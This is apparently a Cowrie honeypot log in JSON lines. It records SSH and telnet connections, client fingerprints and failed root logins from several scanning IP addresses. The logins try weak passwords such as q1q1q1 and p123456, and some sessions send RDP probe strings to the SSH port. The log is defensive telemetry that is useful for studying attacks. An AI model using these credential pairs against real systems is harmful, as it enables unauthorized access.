{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:13:48.835319Z","src_ip":"152.42.212.128","session":"7315df55d9f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:13:48.838857Z","src_ip":"152.42.212.128","session":"7315df55d9f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.4","message":"Connection lost after 10.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:13:54.086039Z","src_ip":"198.235.24.130","session":"1792e88af4fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":52718,"dst_ip":"159.203.135.109","dst_port":22,"session":"c575d405d3f3","protocol":"ssh","message":"New connection: 193.228.128.84:52718 (159.203.135.109:22) [session: c575d405d3f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:13:54.872904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:13:54.877553Z","src_ip":"193.228.128.84","session":"c575d405d3f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:13:54.980015Z","src_ip":"193.228.128.84","session":"c575d405d3f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1q1q1","message":"login attempt [root/q1q1q1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:13:55.291191Z","src_ip":"193.228.128.84","session":"c575d405d3f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.222441911697388,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:13:55.889293Z","src_ip":"209.127.178.212","session":"eb32deea3710","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:13:56.396093Z","src_ip":"193.228.128.84","session":"c575d405d3f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37156,"dst_ip":"10.17.0.5","dst_port":23,"session":"7203f755c998","protocol":"telnet","message":"New connection: 152.42.224.71:37156 (10.17.0.5:23) [session: 7203f755c998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:13:57.791533Z"}
{"eventid":"cowrie.session.closed","duration":38.53246092796326,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:13:59.402873Z","src_ip":"152.42.224.71","session":"776e2ee2f334","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":66.98365235328674,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:14:00.321897Z","src_ip":"152.42.224.71","session":"d37dcb54c1c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":44764,"dst_ip":"10.17.0.5","dst_port":22,"session":"d56f7539d563","protocol":"ssh","message":"New connection: 109.172.54.111:44764 (10.17.0.5:22) [session: d56f7539d563]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:14:00.866343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:14:00.871623Z","src_ip":"109.172.54.111","session":"d56f7539d563","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:14:00.975018Z","src_ip":"109.172.54.111","session":"d56f7539d563","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p123456","message":"login attempt [root/p123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:14:01.294591Z","src_ip":"109.172.54.111","session":"d56f7539d563","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:14:02.397517Z","src_ip":"109.172.54.111","session":"d56f7539d563","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58740,"dst_ip":"10.17.0.5","dst_port":23,"session":"34688e8085ca","protocol":"telnet","message":"New connection: 152.42.224.71:58740 (10.17.0.5:23) [session: 34688e8085ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:14:07.314093Z"}
{"eventid":"cowrie.session.closed","duration":52.86576724052429,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:14:17.524025Z","src_ip":"152.42.224.71","session":"de08baa091de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":59.68634557723999,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:14:18.321324Z","src_ip":"152.42.224.71","session":"6db95fae26db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33520,"dst_ip":"10.17.0.5","dst_port":23,"session":"930ecee0333e","protocol":"telnet","message":"New connection: 152.42.224.71:33520 (10.17.0.5:23) [session: 930ecee0333e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:14:19.872943Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33534,"dst_ip":"10.17.0.5","dst_port":23,"session":"79ce14e695d5","protocol":"telnet","message":"New connection: 152.42.224.71:33534 (10.17.0.5:23) [session: 79ce14e695d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:14:22.509864Z"}
{"eventid":"cowrie.session.closed","duration":34.71091151237488,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:14:23.090275Z","src_ip":"152.42.224.71","session":"1c05329c3859","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33736,"dst_ip":"10.17.0.5","dst_port":23,"session":"87a57996456c","protocol":"telnet","message":"New connection: 152.42.224.71:33736 (10.17.0.5:23) [session: 87a57996456c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:14:26.705826Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33728,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5c937ea41f4","protocol":"telnet","message":"New connection: 152.42.224.71:33728 (10.17.0.5:23) [session: b5c937ea41f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:14:27.370126Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":36202,"dst_ip":"159.203.135.109","dst_port":22,"session":"458d5aa9a505","protocol":"ssh","message":"New connection: 193.37.70.224:36202 (159.203.135.109:22) [session: 458d5aa9a505]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:14:29.024865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:14:29.028927Z","src_ip":"193.37.70.224","session":"458d5aa9a505","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:14:29.118938Z","src_ip":"193.37.70.224","session":"458d5aa9a505","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvbnm12345","message":"login attempt [root/zxcvbnm12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:14:29.390292Z","src_ip":"193.37.70.224","session":"458d5aa9a505","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:14:30.482915Z","src_ip":"193.37.70.224","session":"458d5aa9a505","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33746,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5525a77f87b","protocol":"telnet","message":"New connection: 152.42.224.71:33746 (10.17.0.5:23) [session: e5525a77f87b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:14:33.456567Z"}
{"eventid":"cowrie.session.closed","duration":42.737133741378784,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:14:40.528575Z","src_ip":"152.42.224.71","session":"7203f755c998","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":58.234577655792236,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:14:46.621005Z","src_ip":"152.42.224.71","session":"4f05d75d3e77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.94951128959656,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:14:52.263499Z","src_ip":"152.42.224.71","session":"34688e8085ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.154882192611694,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:14:52.664660Z","src_ip":"152.42.224.71","session":"79ce14e695d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":64672,"dst_ip":"159.203.135.109","dst_port":22,"session":"93532cd5b75a","protocol":"ssh","message":"New connection: 167.172.81.52:64672 (159.203.135.109:22) [session: 93532cd5b75a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:14:56.102985Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:14:56.190898Z","src_ip":"167.172.81.52","session":"93532cd5b75a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:14:56.198765Z","src_ip":"167.172.81.52","session":"93532cd5b75a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.55839419364929,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:15:00.264140Z","src_ip":"152.42.224.71","session":"87a57996456c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52760,"dst_ip":"10.17.0.5","dst_port":23,"session":"f49175c048e7","protocol":"telnet","message":"New connection: 152.42.224.71:52760 (10.17.0.5:23) [session: f49175c048e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:15:01.816533Z"}
{"eventid":"cowrie.session.closed","duration":120.00208401679993,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:15:02.823921Z","src_ip":"152.42.224.71","session":"f7929792f03f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.71671414375305,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:15:14.086718Z","src_ip":"152.42.224.71","session":"b5c937ea41f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":58.37048673629761,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:15:18.243271Z","src_ip":"152.42.224.71","session":"930ecee0333e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":39258,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e56b12b8d14","protocol":"ssh","message":"New connection: 103.77.175.15:39258 (159.203.135.109:22) [session: 8e56b12b8d14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:15:18.276716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:15:18.281743Z","src_ip":"103.77.175.15","session":"8e56b12b8d14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:15:18.531512Z","src_ip":"103.77.175.15","session":"8e56b12b8d14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ntktajy","message":"login attempt [root/ntktajy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:15:19.527567Z","src_ip":"103.77.175.15","session":"8e56b12b8d14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47796,"dst_ip":"10.17.0.5","dst_port":23,"session":"c446496c4223","protocol":"telnet","message":"New connection: 128.199.8.54:47796 (10.17.0.5:23) [session: c446496c4223]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:15:19.599273Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:15:20.780666Z","src_ip":"103.77.175.15","session":"8e56b12b8d14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.46661162376404,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:15:20.923087Z","src_ip":"152.42.224.71","session":"e5525a77f87b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47808,"dst_ip":"10.17.0.5","dst_port":23,"session":"fef2a6250e9c","protocol":"telnet","message":"New connection: 152.42.224.71:47808 (10.17.0.5:23) [session: fef2a6250e9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:15:23.190684Z"}
{"eventid":"cowrie.session.closed","duration":120.0048258304596,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:15:26.874470Z","src_ip":"152.42.224.71","session":"40ff87c26c79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":108.23846817016602,"message":"Connection lost after 108 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:15:36.621436Z","src_ip":"152.42.224.71","session":"fd84c12c5f95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":49868,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b633647442b","protocol":"ssh","message":"New connection: 147.45.211.215:49868 (10.17.0.5:22) [session: 4b633647442b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:15:39.907152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:15:39.912654Z","src_ip":"147.45.211.215","session":"4b633647442b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:15:40.099218Z","src_ip":"147.45.211.215","session":"4b633647442b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1q1q1","message":"login attempt [root/q1q1q1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:15:40.637037Z","src_ip":"147.45.211.215","session":"4b633647442b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:15:41.817029Z","src_ip":"147.45.211.215","session":"4b633647442b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.54505395889282,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:15:42.361361Z","src_ip":"152.42.224.71","session":"f49175c048e7","protocol":"telnet"}
